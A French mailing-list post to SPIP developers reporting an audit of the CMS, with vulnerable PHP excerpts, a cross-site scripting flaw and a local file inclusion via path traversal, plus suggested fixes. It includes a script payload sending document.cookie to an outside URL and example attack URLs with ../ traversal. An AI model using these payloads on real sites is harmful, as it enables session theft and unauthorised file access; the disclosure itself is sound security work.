[spip-dev] Problemes de securite' mineurs...

Salut tlm,

   Nous envisageons de baser un site web sur l'architecture spip.
Avant de rendre ce site public, nous avons decide' d'auditer un peu
la securite' de spip. On commence juste ; voici les premiers petits
problemes rencontres :

- Cross-site scripting
- Inclusion de n'importe quel fichier .html local dont le nom est
  connu (bypassant eventuellement les .htaccess).

Dans inc-calcul.php3, inclus par inc-public-global.php3 la variable
$fond est utilisee sans etre initialisee. La seule verification
effectuee est celle-ci : "if (file_exists("$fond.html"))"

/*---inc-calcul.php3---*/

function chercher_squelette_hierarchie($fond, $id_rubrique) {
        if (!$id_rubrique) {
                if (file_exists("$fond.html")) {
                        return $fond;
                } else if (file_exists("$fond-dist.html")) {
                        return "$fond-dist";
                } else {
                        // erreur webmaster : $fond ne correspond a rien
                        include_local ("ecrire/inc_presentation.php3");
                        install_debut_html("Erreur sur le site");
                        echo "<P>Aucun squelette <b>$fond</b> n'est
disponible...</P>";
                        install_fin_html();
                        exit;
                }
        }

/*---End inc-calcul.php3---*/

--> Probleme de XSS : le contenu de la variable $fond n'est pas
filtre' et peut contenir un script permettant par exemple de recuperer
le cookie de l'utilisateur comme :
<script>document.location.replace('http://myurl.com/xss.php?aa=document.cookie);</script>

exemple :
http://www.uzine.net/inc-public-global.php3?fond=<script>alert('test');</script>

Dans inc-public-global.php3 cette variable $fond est utilisee dans
calculer_page_globale(), le contenu du fichier correspondant est place'
dans le cache et finalement se retrouve inclus ici :

/*---inc-public-global.php3---*/

if (file_exists($chemin_cache)) {
[...]
    include ($chemin_cache);
}

/*---End inc-public-global.php3---*/

--> Probleme d'inclusion : Tout fichier .html locaux dont le path et le
nom sont connus par l'attaquant pourra etre inclus (selon la config. de
php, ce fichier peut se trouver dans d'autres vhosts / hors du
documentroot : $fond peut contenir une chaine du type ../../../..).
Cette technique permet de contourner un eventuel .htaccess.

exemple :

http://…/www.inc-public-global.php3?fond=…/…/…/…/var/www/admin/index

Corrections suggerees :

- Supprimer l'affichage de variables dans les messages d'erreur quand
celui-ci n'est pas utile (echo "...$fond..."). S'il est utile, filtrer
les caracteres non alphanumeriques des variables affichees. Un autre
bug de ce type est present dans la page login.php3 (affichage du login
avant la demande du mot de passe) mais n'est pas forcement exploitable
(methode POST et filtrage des quotes).

- Definir la variable $fond et/ou empecher l'acces a
inc-public-global.php3 (a-priori insuffisant : il faudrait verifier
tous les fichiers incluant inc-public-global.php3).

BTW, savez vous si quelqu'un s'est interesse' a Spip sous l'angle de
la securite' (audit du code) ?

    Cordialement,

Laurent Souche